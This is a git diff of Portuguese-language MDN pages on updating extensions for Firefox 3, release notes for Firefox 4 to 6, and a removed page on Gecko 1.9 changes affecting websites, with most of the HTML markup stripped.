Antes de continuar, há uma sugestão útil que podemos oferecer: se a única mudança que sua extensão requere é uma atualização no campo maxVersion no seu manifesto de instalação, e você hospedou sua extensão em addons.mozilla.org, você atualmente não precisa disponibilizar uma nova versão da sua extensão! Simplesmente use o Painel de Controle de Desenvolvedores em AMO para ajustar o maxVersion. Você pode evitar de ter sua extensão re-revisada por este caminho.

+ +

Passo 1: Atualizar o manifesto de instalação

+ +

O primeiro passo -- e, para muitas das extensões, o único que será necessário -- é atualizar o arquivo manifesto de instalação, install.rdf, para indicar compatibilidade com o Firefox 3.

+ +

Simplesmente ache a linha que indica a máxima versão compatível do Firefox (que, para o Firefox 2, pode indicar como aqui):

+ +
 <em:maxVersion>2.0.0.*</em:maxVersion>
+
+ +

Mude isto para indicar compatibilidade com o Firefox 3:

+ +
 <em:maxVersion>3.0.*</em:maxVersion>
+
+ +

Então reinstale sua extensão.

+ +

Note que o Firefox 3 acaba com o ".0" extra no número da versão, então, ao invés de usar "3.0.0.*", você precisa usar somente "3.0.*".

+ +
Nota: Note que neste ponto mais mudanças no Firefox 3 são esperadas. Estas mudanças podem quebrar algumas extensões, então você não precisa lançar sua extensão com 3.0.* maxVersion para os usuários antes que o Firefox 3 candidato a liberação seja lançado. Durante o período do Firefox 3 Beta, você pode usar 3.0b5 como sua maxVersion.
+ +

Tem havido (e continuará a haver) um número de mudanças na API que poderão quebrar algumas extensões. Nós estamos trabalhando na compilação de uma lista completa destas mudanças.

+ +
Nota: Se a sua extensão ainda usa um script Install.js ao invés de um manifesto de instalação, você precisa fazer a transição para um manifesto de instalação agora. O Firefox 3 não mais suporta os scripts install.js em arquivos XPI.
+ +

Adicionando localizações para o manifesto de instalação

+ +

O Firefox 3 suporta novas propriedades no manifesto de instalação para especificar descrições localizadas. Os antigos métodos ainda funcionam, entretanto o novo Firefox permite pegar as localizações sempre que os complementos estiverem desabilitados e com instalação pendente. Veja Localizar descrições de extensões para mais detalhes.

+ +

Passo 2: Certificar-se de que está a proporcionar atualizações seguras

+ +

Se você está hospedando complementos por si mesmo e não em um provedor de hospedagem de complementos seguro como addons.mozilla.org então você precisa oferecer um método seguro de atualizar seu complemento. Isto poderá envolver a hospedagem das suas atualizações em um website SSL, ou usando chaves criptográficas para assinar a informação da atualização. Leia Securing Updates para mais informações.

+ +

Passo 3: Lidar com APIs alteradas

+ +

Várias APIs foram alterados de maneira significativa. O mais significativo destes, que provavelmente afetará um grande número de extensões, são:

+ +

DOM

+ +

Nodes from external documents should be cloned using document.importNode() (or adopted using document.adoptNode()) before they + can be inserted into the current document. For more on the Node.ownerDocument issues, see the + W3C DOM FAQ.

+ +

Firefox doesn't currently enforce this rule (it did for a while during the development of Firefox 3, but too many + sites break when this rule is enforced). We encourage Web developers to fix their code to follow this rule for + improved future compatibility.

+ +

Marcadores & Histórico

+ +

Se sua extensão acessa dados dos favoritos ou do histórico de alguma maneira, ela precisará de um trabalho substancial para tornar-se compatível com o Firefox 3. As antigas APIs de acesso a estas informações foram substituidas pela nova arquitetura en:Places. Veja Migration Guide for Places para detalhes na atualização da sua extensão existente para usar a API Places.

+ +

Gestor de Descargas

+ +

A API do Gestor de Descargas foi alterado ligeiramente devido à transição de um RDF para armazenar dados usando a API en:Storage. Esta pode ser uma transição muito fácil de fazer. Além disso, a API de monitoramento do progesso de downloads mudou para suportar múltiplos receptores no gestor de descargas. Consulte en:nsIDownloadManager, en:nsIDownloadProgressListener, e en:Monitoring downloads para mais informação.

+ +

Gestor de Palavras-passe

+ +

Se sua extensão acessa informações do login de usuário usando o Gerenciador de Senhas, será necessário atualizá-la para usar a nova API de Gerenciamento de Login.

+ + + +

Você pode também sobrepor o armazenamento do gerenciador de senhas construído se você desejar fornecer a implementação de seu próprio armazenamento de senhas nas suas extensões. Veja Criando um módulo de armazenamento de Gerenciador de Login para mais detalhes.

+ +

janelas (Menus, Menus de Contexto, Dicas de Ferramenta e Painéis)

+ +

O sistema de Popup XUL foi bastante modificado no Firefox 3. O sistema de Popup inclui menus principais, menus de contexto e painéis popup. Um guia sobre como usar Popups foi criado, detalhando como o sistema trabalha. Uma coisa a se notar é que popup.showPopup foi depreciado em favor do novo popup.openPopup e popup.openPopupAtScreen.

+ +

Auto Completar

+ +

O método handleEnter() da interface en:nsIAutoCompleteController foi alterado para aceitar um argumento que indica quando o texto foi selecionado do popup autocompletar ou pelo usuário pressionando enter depois de digitar o texto.

+ +

DOMParser

+ + + +

Interfaces removidas

+ +

As seguintes interfaces foram removidas do Gecko 1.9, que direcionam o Firefox 3. Se sua extensão faz uso de alguma destas, você precisará atualizar seu código:

+ + + +

Passo 4: Procurar por alterações relevantes no chrome

+ +

Houveram menores mudanças no chrome que podem requisitar mudanças no seu código. Uma nova vbox foi adicionada, chamada "browser-bottombox", que inclui a barra de procura e a barra de estado à janela do navegador. Embora ela não afete a aparência da exibição, ela pode afetar sua extensão se ela sobrepuser o chrome em relação a estes elementos.

+ +

Por exemplo, se você anteriormente sobrepôs algum chrome antes da barra de estado, como isto:

+ +
<window id="main-window">
+  <something insertbefore="status-bar" />
+</window>
+
+ +

Você deve agora sobrepor desta maneira:

+ +
<vbox id="browser-bottombox">
+  <something insertbefore="status-bar" />
+</vbox>
+
+ +

Outras alterações

+ +

Mudanças simples adicionais que tiver de fazer enquanto atualiza sua extensão para trabalhar com o Firefox 3, aqui.

+ + + +

Categorias

+ +

Interwiki Language Links

diff --git a/files/pt-pt/mozilla/firefox/releases/4/index.html b/files/pt-pt/mozilla/firefox/releases/4/index.html new file mode 100644 index 0000000000..58f32d061b --- /dev/null +++ b/files/pt-pt/mozilla/firefox/releases/4/index.html @@ -0,0 +1,656 @@ +--- +title: Firefox 4 para desenvolvedores +slug: Firefox_4_para_desenvolvedores +tags: + - CSS + - Firefox + - Firefox 4 + - Gecko + - Gecko 2.0 + - HTML + - JavaScript + - XPCOM + - XUL +translation_of: Mozilla/Firefox/Releases/4 +--- +
+ +
+

Esboço
+ Esta página está incompleta.

+ +
+ +

O Firefox 4, o qual entrou em beta no mês de junho de 2010, melhora a performance, adiciona maior suporte ao HTML5 e outras tecnologias web envolvidas e, além disso, melhora a segurança. Este artigo proporciona informações iniciais sobre o lançamento que virá e quais funcionalidades estão disponíveis, tanto para desenvolvedores web, quanto para desenvolvedores de complementos e desenvolvedores da plataforma Gecko.

+ +

Muitas destas funcionalidades já podem ser testadas na versão Firefox 4 beta, ou, se estiver se sentindo aventureiro, em nightly trunk builds.

+ +
Observação: Este artigo é um trabalho em progresso, assim como todos os artigos linkados nesta página. Muitos nomes de artigos são espaços reservadis e alguns tópicos provavelmente serão quebrados em múltiplos artigos. Em geral, seja cuidadoso ao vincular páginas a estes artigos, por enquantoIn general, be cautious about linking to these articles for the time beingJavas.
+ +

Funcionalidades para desenvolvedores web

+ +

O Gecko agora usa o analisador HTML5 (parser HTML5), que corrige bugs, melhora a interoperabilidade e melhora a performance. Ele também permite conteúdos de SVG e MathML embutidos diretamente na marcação HTML.

+ +

HTML

+ +
+
Conheça o parser HTML5
+
Uma olhada no que o analisador HTML5 (parser HTML5) significa para você e como incorporar SVG e MathML ao seu conteúdo.
+
Forms no HTML5
+
Uma olhada às melhorias aos web forms no HTML5. Entre estas mudanças foram adicionados tipos de entrada no elemento <input> e validação de dados, dentre outros.
+
Seções HTML5
+
O Gecko agora suporta os novos elementos HTML5 relacionados a seções em um um documento: <article>, <section>, <nav>, <aside>, <hgroup>, <header> e <footer>.
+
Outros elementos HTML5
+
O Gecko agora suporta os seguintes elementos do HTML5: <mark>, <figure><figcaption>.
+
WebSockets
+
Um guia para usar a nova API de WebSockets para comunicação em tempo real entre uma aplicação web e um servidor.
+
+ +

Modificações HTML diversas

+ + + +

CSS

+ +
+
Transições CSS (CSS transitions)
+
O suporte à novas transições CSS está disponível no Firefox 4.
+
Valores calculados em CSS
+
Foi adicionado o suporte para -moz-calc. Isto permite especificar valores <length> como expressões matemáticas.
+
Seletor de agrupamento
+
Suporte a :-moz-any para agrupar seletores e fatorizar combinadores.
+
Suporte a sub-retângulo em imagens de fundo
+
A função -moz-image-rect torna possível o uso de subretângulos de imagens como uma background-image (imagem de plano de fundo).
+
Propriedades de toque CSS
+
O suporte para propriedades de toque foi adicionado. Detalhes e nomes de artigos reais, virão depois.
+
Using arbitrary elements as CSS backgrounds
+
Você pode usar a função -moz-element do CSS e a função document.mozSetImageElement() do DOM para usar elementos HTML arbitrários como planos de fundos.
+
Privacidade e o seletor :visited
+
Mudanças foram feitas ao tipo de informação que pode ser obtida sobre o estilo dos links visitados usando seletores CSS. Isto pode afetas algumas aplicações web.
+
+ +

Novas propriedades do CSS

+ + + + + + + + + + + + + + + + + + + + +
PropriedadeDescrição
-moz-font-feature-settingsPermite características avançadas de customização em fontes OpenType.
-moz-tab-sizeEspecifica a largura em caracteres de espaço, de um caracter tab (U+0009) na renderização de texto.
resizePermite o controle das dimensões nas quais um elemento pode ser redimensionado.
+ +

Novas pseudo-classes do CSS

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Pseudo-classeDescrição
:-moz-handler-crashedUsado para estilizar elementos cujos plugins tenham quebrado.
:-moz-placeholderAplicado ao espaço reservado de texto nos campos de formulário.
:-moz-submit-invalidAplicado ao botão de submeter em formulários quando um ou mais dos campos do formulário não é validado.
:-moz-window-inactiveAplicado a elementos em janelas inativas.
:invalidAplicado automaticamente para os campos <input> quando suas constantes são inválidas.
:optionalAplicado automaticamente para os campos <input> que não especifiquem o atributo required.
:requiredAplicado automaticamente para os campos <input> que especifiquem o atributo required.
:validAplicado automaticamente para os campos <input> quando suas constantes são validadas com sucesso.
+ +

Novos pseudo-seletores do CSS

+ + + + + + + + + + + + +
Pseudo-seletorDescrição
:-moz-focusringPermite especificar a aparência de um elemento quando o Gecko acredita que ele deve ter uma indicação de foco renderizada.
+ +

Novas funções do CSS

+ + + + + + + + + + + + + + + + + + + + + + + + +
FunçãoDescrição
:-moz-anyPermite agrupar seletores e fatorizar combinações.
-moz-calcPermite a especificação de valores <length> como expressões matemáticas.
-moz-elementPermite o uso de um elemento arbitrário como imagem de fundo para background-image e background.
-moz-image-rectPermite o uso de um sub-retângulo de uma imagem como um background-image ou background.
+ +

Propriedades do CSS renomeadas

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Old NameNew NameNotes
-moz-background-sizebackground-sizeO nome -moz-background-size não é mais suportado.
-moz-border-radiusborder-radiusO antigo nome é suportado por tempo limitado para permitir a atualização de seus sites. Mudanças de renderização também foram feitas para conseguir a compatibilidade com a última versão.
-moz-box-shadowbox-shadow
+ +

Modificações CSS diversas

+ + + +

Modificações CSS diversas

+ + + +

Gráficos e vídeo

+ +
+
+
WebGL
+
O padrão de desenvolvimento WebGL é agora suportado pelo Firefox.
+
Otimização da performance gráfica
+
Dicas e truques para conseguir a melhor performance gráfica e de vídeo no Firefox 4.
+
Suporte a vídeos WebM
+
O novo formato aberto de vídeo WebM é suportado pelo Gecko 2.0; o suporte está incluído em nightlies desde 9 de junho.
+
Animação SVG com SMIL
+
O suporte a animações SMIL do SVG está agora disponível.
+
Usando SVG como imagens e como fundos de tela CSS
+
Você pode agora usar o SVG com o elemento <img>, assim como com a propriedade background-image do CSS.
+
Suporte ao atributo de mídia buffered
+
O atributo buffered nos elementos <video> e <audio> é agora suportado, permitindo a determinação de quais faixas de um arquivo de mídia foram carregadas. A interface TimeRanges do DOM foi implementada para suportar isto.
+
Atributo de mídia preload
+
O atributo preload da especificação do HTML5 foi implementado, substituindo o atributo anteriormente implementado (e não mais suportado) autobuffer. Isto afeta os elementos <video> e <audio>, assim como a interface nsIDOMHTMLMediaElement.
+
Melhoramentos no posicionamento de texto SVG
+
Agora é possível especificar listas para os valores das propriedades x, y, dx e dy nos elementos <text> e <tspan> do SVG. Isto permite controlar o posicionamento de cada caractere individualmente em uma string.
+
+ +

DOM

+ +
+
Arrays com tipos JavaScript
+
Foi adicionado suporte para os arrays com tipos JavaScript; eles permitem a manipulação de buffers contendo dados em raw usando tipos de dados nativos. Muitas API fazem uso disto, incluindo File API, WebGL, e WebSockets.
+
Obtenção de limites de retângulos para ranges
+
O objeto Range agora possui os métodos range.getClientRects() e range.getBoundingClientRect().
+
Captura de eventos de mouse em elementos arbitrários
+
O suporte para as APIs setCapture() e releaseCapture() originadas do Internet Explorer foram adicionadas. Veja bug 503943.
+
Manipulação do histórico do navegador
+
O objeto de histórico de documento existente, disponível através do objeto window.history agora suporta os novos métodos pushState() e replaceState() do HTML5.
+
Animações usando o MozBeforePaint
+
Um novo evento foi adicionado, o qual combinado com o método window.mozRequestAnimationFrame() e a propriedade window.mozAnimationStartTime, proporciona uma maneira de criar animações sincronizadas uma com a outra.
+
Eventos de toque e multi-toque
+
Foi adicionado suporte ao evetos de toque e multi-toque.
+
+
+ +

A interface DOM dos elementos HTML mudou

+ +

Muitos elementos do HTML tiveram suas interfaces DOM mudadas para aquelas requisitadas pela especificação do HTML5, como mostrado abaixo.

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Interface no Firefox 3.6Interface no Firefox 4Elemento HTML
HTMLSpanElementHTMLElement<abbr>, <acronym>, <address>, <b>, <bdo>, <big>, <blink>, <center>, <cite>, <code>, <dd>, <dfn>, <dt>, <em>, <i>, <kbd>, <listing>, <nobr>, <plaintext>, <s>, <samp>, <small>, <strike>, <strong>, <sub>, <sup>, , <tt>, <u>, <var>, <xmp>
HTMLDivElementHTMLElement<noembed>, <noframes>, <noscript>
HTMLWBRElementHTMLElement<wbr>
+ +

Modificações DOM diversas

+ + + +

Segurança

+ +
+
+ +
+
Política de Segurança de Conteúdo (CSP)
+
A Política de Segurança de Conteúdo (Content Security Policy - CSP) é uma proposta da Mozilla desenvolvida para ajudar web designers e administradores de servidores a especificar como o conteúdo em seus sites interage. A meta é ajudar a detectar e abrandar ataques, incluindo cross-site scripting e ataques de injeção de dados.
+
Segurança de Transporte do HTTP Estrito (HTTP Strict Transport Security)
+
A Segurança de Transporte de HTTP Estrito é uma característica que permite a um website dizer ao navegador que ele deve ser comunicado somente usando HTTPS, ao invés de HTTP.
+
O cabeçalho de resposta (The X-FRAME-OPTIONS response header)
+
O cabeçalho de resposta HTTP, X-FRAME-OPTIONS, introduzido no Internet Explorer 8 é agora suportado pelo Firefox. Isto permite a sites indicar quando suas páginas devem ou não ser usadas em quadros (frames), e, em caso afirmativo, se deve ou não restringir isto à mesma origem.
+
Mudanças na string de Agente de Usuário (User Agent string) changes
+
Como um meio para reduzir a quantidade de dados e entropia descartada em requisições HTTP (veja bug 572650) a força da criptografia e tokens de linguagem foram removidos pela string do agente de usuário.
+
+ +

JavaScript

+ +

Para uma visão geral das mudanças implementadas em JavaScript 1.8.5, veja Novidades no JavaScript 1.8.5. O JavaScript no Firefox 4 terá aderência adicional ao padrão ECMAScript 5.

+ +

Ferramentas para desenvolvedores

+ +
+
Usando o Web Console
+
A ferramenta Web Console é um depurador útil para ajudar desenvolvedores web, assim como, desenvolvedores de extensões.
+
+ +
+
+Gecko 2.0 note +
(Firefox 4 / Thunderbird 3.3 / SeaMonkey 2.1)
+
+ +

O Console de Erros está inicialmente desabilitado por padrão no Firefox 4. Você pode reabilitá-lo mudando a preferência devtools.errorconsole.enabled para true e reiniciando seu navegador.

+
+ +

Mudanças para desenvolvedores Mozilla e de complementos

+ +

Para dicas úteis sobre a atualização de extensões existentes para o Firefox 4, veja Atualizando extensões para o Firefox 4. Existem muitas mudanças de chaves que quebram a compatibilidade com complementos existentes, então certifique-se de ler este artigo.

+ +

Se você é um desenvolvedor de temas, você deve ler Mudanças nos temas do Firefox 4 (en) para entender algumas mudanças críticas, às quais é necessário estar ciente.

+ +

Módulos de codificação JavaScript

+ +
+
Services.jsm
+
O módulo de código Services.jsm fornece "getters" que tornam mais fácil a obtenção de referências a serviços comumente usados, como o serviço de preferências ou o mediador de janelas, entre outros.
+
+ +
+
JS-ctypes API
+
A API JS-ctypes torna possível chamar funções de fora da biblioteca compatível com C, sem precisar usar o XPCOM.
+
Gerenciador de Complementos
+
O Gerenciador de Complementos fornece informações sobre complementos instalados, suporte à gerência dos mesmos e fornece maneiras para instalar e remover complementos.
+
PopupNotifications.jsm
+
O novo módulo de notificações popup torna fácil apresentar notificações atrativas, não modais para o usuário. Você pode ver como usar esta API em Usando notificações de popup (en).
+
Carregando módulos de código a partir de URL chrome: (en)
+
Você pode agora carregar módulos JavaScript usando URL chrome:, mesmo dentro de arquivos JAR.
+
DownloadLastDir.jsm
+
O módulo de código DownloadLastDir.jsm fornece a variável global, a qual contém uma string que pode ser usada para aprender o caminho do diretório no qual ocorreu o último download. Este módulo lida com questões relacionadas a privacidade de navegação do usuário.
+
Medindo a performance usando o módulo de código PerfMeasurement.jsm (en)
+
O módulo de código PerfMeasurement.jsm proporciona uma API para mensurar a performance dos dados a nível de CPU no código JavaScript.
+
+ +

Mudanças diversas aos módulos de código

+ + + +

Mudanças no DOM

+ +
+
+ +
+
ChromeWorker
+
Um novo tipo de worker para código privilegiado; ele permite o uso de coisas como js-ctypes de workers em extensões e código de aplicações.
+
Eventos de toque
+
Suporte para eventos de toque (não padrões) foi adicionado; isto permite detectar o movimento de múltiplos dedos movendo-se em uma tela ao mesmo tempo.
+
+ +

XUL

+ +

Mudanças no elemento tabbrowser

+ +

Várias mudanças foram feitas ao elemento <xul:tabbrowser> que causam impactos nas extensões que interagem com as abas. Adicionalmente para suportar abas aplicativos, estas mudanças também mudam a barra de abas para uma barra de ferramentas padrão, a qual permite que o usário arraste botões da barra de ferramentas para ela.

+ + + +

Mudanças para popups

+ + + +

Suporte remoto ao XUL removido

+ +

XUL remoto não é mais suportado; isto afeta os documentos XUL servidos através de HTTP; além disso, não é mais possível carregar documentos XUL usando URLs file:// a menos que você configure a preferência dom.allowXULXBL_for_file para true. Há, entretanto, um recurso de whitelist que pode ser usado para permitir domínios específicos a carregarem o XUL remotamente. O Remote XUL Manager extension permite o gerenciamento desta whitelist.

+ +

Mudanças diversas no XUL

+ + + +

Mudanças na IU que afetam os desenvolvedores

+ +
+
A barra de complementos
+
O estado da barra foi removido em favor de uma nova barra de complementos. Será necessário atualizar sua extensão para usar isto se você já adicionou a IU à barra de estado no passado.
+
+ +

Armazenamento

+ +

Mudanças diversas na API storage (de armazenamento)

+ + + +

XPCOM

+ +

Em adição à mudanças específicas referenciadas abaixo, é importante notar que não existem mais interfaces estáticas. Todas as interfaces são dinâmicas, independente do que a documentação pode dizer. Atualizaremos a documentação com o tempo.

+ +
+
Mudanças no XPCOM no Gecko 2.0
+
Detalhes sobre as mudanças para o XPCOM que causam algum impacto na compatibilidade do Firefox 4.
+
Components.utils.getGlobalForObject()
+
Este novo método retorna o objeto global com o qual um objeto é associado; ele substitui um caso de uso comum do agora removido __parent__.
+
+ +

Places

+ + + +

Mudanças na interface

+ + + +

Gerenciamento de memória

+ +
+
Alocação de memória infalível
+
A Mozilla, agora proporciona alocadores de memória infalíveis que são garantem que não haverá um retorno null. Você deve ler este artigo para aprender como eles trabalham e como solicitar explicitamente a alocação de memória falível versus invalível.
+
+ +

Outras mudanças

+ + + +

Outras mudanças

+ +
+
Somente o arquivo chrome.manifest raiz é carregado
+
Agora somente o arquivo chrome.manifest raiz é carregado; se você necessitar de um arquivo de manifesto secundário para ser carregado, você pode usar o comando manifest no seu  chrome.manifest raiz para carregá-lo.
+
Removido o suporte ao Gopher
+
O protocolo Gopher não é mais suportado nativamente. O suporte continuado está disponível pela extensão OverbiteFF.
+
Processamento de eventos de manipulação de conteúdo
+
Com o objetivo de suportar plugins fora do processo e outra características de multi processamento, uma nova API foi introduzida para suportar o envio de mensagens através de processos.
+
+ +
+
Extensões Bootstrapped (en)
+
Agora é possível criar extensões que podem ser instaladas, desinstaladas e atualizadas (ou desatualizadas) sem a necessidade de reiniciar o navegador.
+
+ +
+
Plugin padrão removido
+
O plugin padrão foi removido. A pasta de aplicações plugin também foi removida por padrão, entretanto o suporte para a instalação de plugins através desta pasta ainda existe. Veja bug 533891.
+
Gerenciador de Extensões substituido pelo Gerenciador de Complementos
+
O nsIExtensionManager  foi substituido pelo Gerenciador de Complementos (en).
+
Os filhos HWND não são mais usados
+
O Firefox não cria mais filhos HWND para seu uso interno no Windows. Se você escreveu uma extensão que usa código nativo para manipular estas HWND, a sua extensão não funcionará no Firefox 4. Você precisará ou parar de usar HWND ou empacotar seu código dependente de HWND em um plugin NPAPI. Isto dará um grande trabalho, então se for possível não fazer uso do HWND diretamente, é recomendado evitá-lo.
+
Mudanças nos gestos
+
A rolagem com três dedos para cima ou para baixo em trackpads foi alterada para, por padrão, abrir e fechar a visão do Firefox Panorama (criado como TabCandy). Para voltar aos comando anteriores de rolagem para cima e para baixo, abra about:config e configure browser.gesture.swipe.down para cmd_scrollBottom e browser.gesture.swipe.up para cmd_scrollTop.
+
+ +

Veja também

+ + diff --git a/files/pt-pt/mozilla/firefox/releases/5/index.html b/files/pt-pt/mozilla/firefox/releases/5/index.html new file mode 100644 index 0000000000..e69e9e6257 --- /dev/null +++ b/files/pt-pt/mozilla/firefox/releases/5/index.html @@ -0,0 +1,113 @@ +--- +title: Firefox 5 para desenvolvedores +slug: Firefox_5_para_desenvolvedores +translation_of: Mozilla/Firefox/Releases/5 +--- +
{{FirefoxSidebar}}

{{ draft() }}

+

O Firefox 5, é baseado no Gecko 5.0 e será lançado na metade de 2011. Este artigo proporciona links para informações sobre as mudanças que afetam os desenvolvedores nesta versão. Os nightly builds do futuro Firefox 5 estão disponíveis atualmente no canal Beta (iesto é, na seção mozilla-beta).

+
+ Nota: Devido à maneira de funcionamento do processo de desenvolvimento, é possível que características atualmente listadas aqui possam ser transferidas para versões futuras do Firefox, por este motivo, por favor, fique atento a esta página.
+

Mudanças para desenvolvedores

+

HTML

+ +

Melhorias no Canvas

+ +

CSS

+
+
+ CSS animations
+
+ Foi adicionado o suporte para animações CSS, por enquanto com o uso do prefixo -moz-.
+
+

DOM

+ +

JavaScript

+ +

SVG

+ +

HTTP

+ +

MathML

+ +

Ferramentas para desenvolvedores

+ +

Mudanças para desenvolvedores de complementos e da Mozilla

+
+ Nota: O Firefox 5 requere que componentes bionários sejam recompilados, assim como todas as versões maiores do Firefox. Veja Interfaces Binárias para detalhes.
+

Mudanças nos módulos de código do JavaScript

+

Novos módulos de códigos JavaScript

+ +

NetUtil.jsm

+ +

Mudanças na interface

+ +

Ferramentas de depuração

+ +

API JavaScript (SpiderMonkey)

+ +

Mudanças no sistema de construção

+ +

Veja também

+ +

{{ languages( { "en": "en/Firefox_5_for developers"} ) }}

diff --git a/files/pt-pt/mozilla/firefox/releases/6/index.html b/files/pt-pt/mozilla/firefox/releases/6/index.html new file mode 100644 index 0000000000..d7c93cc7e1 --- /dev/null +++ b/files/pt-pt/mozilla/firefox/releases/6/index.html @@ -0,0 +1,249 @@ +--- +title: Firefox 6 para programadores +slug: Firefox_6_para_desenvolvedores +translation_of: Mozilla/Firefox/Releases/6 +--- +
+ +

O Firefox 6, baseado no Gecko 6.0, será lançado no dia 16 de agosto de 2011. Este artigo fornece hiperligações para a informação acerca das alterações que afetam os programadores neste lançamento.

+ +

Alterações para os programadores da Web

+ +

HTML

+ +
+
+ + + +

CSS

+ +
+
-moz-text-decoration-color
+
Esta nova propriedade permite configurar a cor usada em decorações de texto, tais como sublinhados, sobrelinhados e rasurados.
+
-moz-text-decoration-line
+
Esta nova propriedade permite configurar o tipo de decoração de texto adicionado a um elemento.
+
-moz-text-decoration-style
+
Esta nova propriedade permite configurar o estilo das decorações de texto, tais como sublinhado, sobrelinhado e rasurado. Os estilos incluem simples tracejado, tracejado duplo, linha ondulada, linha pontilhada e assim por diante.
+
-moz-hyphens
+
Esta nova propriedade permite controlar como é tratada a hifenização das palavras quando ocorre uma quebra de linha.
+
-moz-orient
+
Uma nova propriedade (atualmente específica da Mozilla) a qual permite controlar a orientação: vertical ou horizontal, de certos elementos (particularmente <progress>).
+
::-moz-progress-bar
+
A Mozilla-specific pseudo-element that lets you style the area of an <progress> element representing the completed portion of a task.
+
+ +

Outras alterações

+ + + +

DOM

+ +
+
Utilizar pedidos de multimédia do código (en)
+
Agora é possível testar o resultado de uma sequência de consulta de mídia programaticamente usando o método window.matchMedia() e a interface MediaQueryList.
+
+ + + +

JavaScript

+ + + +

SVG

+ + + +

HTTP

+ + + +

Cookies

+ + + +

Outras alterações

+ + + +

Alterações para os programadores de extras e da Mozilla

+ +
Nota: o Firefox 6 necessita que os componentes binários sejam recompilados, assim como todos os lançamentos maiores do Firefox. Veja Interfaces Binárias (en) para detalhes.
+ +

Módulos de código JavaScript

+ +

FileUtils.jsm

+ + + +

XPCOMUtils.jsm

+ + + +

XPCOM

+ + + +

Usando o DOM do chrome

+ +
+
Using the DOM File API in chrome code
+
Embora sempre tenha sido possível utilizar a API File do DOM do código chrome, o construtor File agora suporta a especificação de uma string de nome de caminho local quando usada através do chrome. Adicionalmente, você também pode especificar o arquivo para acessar usando a API File do DOM usando um objeto nsIFile.
+
+ +

Alterações da interface

+ + + +

Novas interfaces

+ + + +

Interfaces removidas

+ + + +

Veja também

+ + + +

Outras alterações

+ +
+
Using preferences from application code
+
A new static API is available for easily accessing preferences; this is only available to application code and can't be used by add-ons.
+
+ +

Consultar também

+ +
diff --git "a/files/pt-pt/mudan\303\247as_no_gecko_1.9_que_afetam_websites/index.html" "b/files/pt-pt/mudan\303\247as_no_gecko_1.9_que_afetam_websites/index.html" deleted file mode 100644 index cd637eed20..0000000000 --- "a/files/pt-pt/mudan\303\247as_no_gecko_1.9_que_afetam_websites/index.html" +++ /dev/null @@ -1,77 +0,0 @@ ---- -title: Mudanças no Gecko 1.9 que afetam websites -slug: Mudanças_no_Gecko_1.9_que_afetam_websites -tags: - - Desenvolvimento_Web - - Gecko - - Todas_as_Categorias -translation_of: Mozilla/Firefox/Releases/3/Site_compatibility ---- -
{{FirefoxSidebar}}
- -

Esta página tenta dar uma introdução das mudanças entre o Gecko 1.8 e o Gecko 1.9, que poderia possivelmente afetar websites em seu comportamento ou interpretação. Veja também Firefox 3 para desenvolvedores.

- -

Eventos

- -

Capturando ouvintes de carregamento de eventos

- -

No Gecko 1.8, não era possível configurar a captura de ouvintes de carregamento de eventos em imagens. No Gecko 1.9, isto foi corrigido por {{ Bug(234455) }}. Mas isto pode causar problemas em websites que tenham seus ouvintes de eventos incorretamente configurados para capturar o carregamento de evento. Veja a discussão em {{ Bug(335251) }}. Para corrigir este problema, a página problemática em questão não deve configurar uma captura de ouvintes de carregamento de eventos.

- -

Por exemplo, isto:

- -
window.addEventListener('load', yourFunction, true);
-
- -

deve ser mudado nisto:

- -
window.addEventListener('load', yourFunction, false);
-
- -

Para uma explanação de como eventos de captura trabalham, veja DOM Level 2 Event capture

- -

preventBubble foi removido

- -

No Gecko 1.8, o método preventBubble existia em eventos para previnir eventos de "borbulhar para cima". No Gecko 1.9 este método foi removido. Dessa forma, você deve usar o padrão stopPropagation(), o qual também trabalha bem no Gecko 1.8. Opatch em {{ Bug(330494) }} fez isto acontecer. Veja também {{ Bug(105280) }}.

- -

Algumas outras APIs de evento antigas não são mais suportadas

- -

window.captureEvents, window.releaseEvents, e window.routeEvent são são mais suportadas ({{ Obsolete_inline() }}) no Gecko 1.9.

- -

DOM

- -

WRONG_DOCUMENT_ERR

- -

Nodes from external documents should be cloned using document.importNode() (or adopted using document.adoptNode()) before they - can be inserted into the current document. For more on the Node.ownerDocument issues, see the - W3C DOM FAQ.

- -

Firefox doesn't currently enforce this rule (it did for a while during the development of Firefox 3, but too many - sites break when this rule is enforced). We encourage Web developers to fix their code to follow this rule for - improved future compatibility.

- -

Alcances

- -

intersectsNode foi removido

- -

No Gecko 1.8 a função do código intersectsNode é usada para testar se um nó intercepta um alcance. Entretanto os valores de retorno desta função estavam confusos e raramente eram úteis, conseqüentemente foram removidos no Gecko 1.9. Dessa forma use a função mais precisa e padrão compareBoundaryPoints. Opatch em {{ Bug(358073) }} removeu esta função.

- -

Veja a documentação para intersectsNode para como usar compareBoundaryPoints em vez disso.

- -

compareNode foi removido

- -

No Gecko 1.8 a função do código compareNode é usada para testar como um nó intercepta um alcante. Entretanto os valores de retorno desta função estavam confusos e raramente eram úteis, conseqüentemente foram removidos no Gecko 1.9. Em vez disso use a função mais precisa e padrão compareBoundaryPoints. Opatch em {{ Bug(358073) }} removeu esta função.

- -

Veja a documentação para compareNode para como usar compareBoundaryPoints em vez disso.

- -

HTML

- -

Muitosbugs em <object> foram corrigidos

- -

Os elementos object e embed não precisam mais do atributo type para interpretar. Mudando o atributo src (de <embed>) ou o atributo data (de <object>) via JavaScript agora trabalha corretamente. O cabeçalho Conteúdo-Tipo enviado pelo servidor (se algum) agora toma procedências sobre o atributo type de um elemento <object> de acordo com a especificação HTML. (este não é o caso de embed).

- -


- Categorias

- -

Interwiki Language Links

- -

{{ languages( { "en": "en/Gecko_1.9_Changes_affecting_websites", "fr": "fr/Changements_dans_Gecko_1.9_affectant_les_sites_Web", "ja": "ja/Gecko_1.9_Changes_affecting_websites", "ko": "ko/Gecko_1.9_Changes_affecting_websites", "pl": "pl/Zmiany_w_Gecko_1.9_wp\u0142ywaj\u0105ce_na_wy\u015bwietlanie_stron" } ) }}

diff --git a/files/pt-pt/o_dom_e_o_javascript/index.html b/files/pt-pt/o_dom_e_o_javascript/index.html deleted file mode 100644 index ba7b45f921..0000000000 --- a/files/pt-pt/o_dom_e_o_javascript/index.html +++ /dev/null @@ -1,82 +0,0 @@ ---- -title: O DOM e o JavaScript -slug: O_DOM_e_o_JavaScript ---- -

Quadro Geral

- -

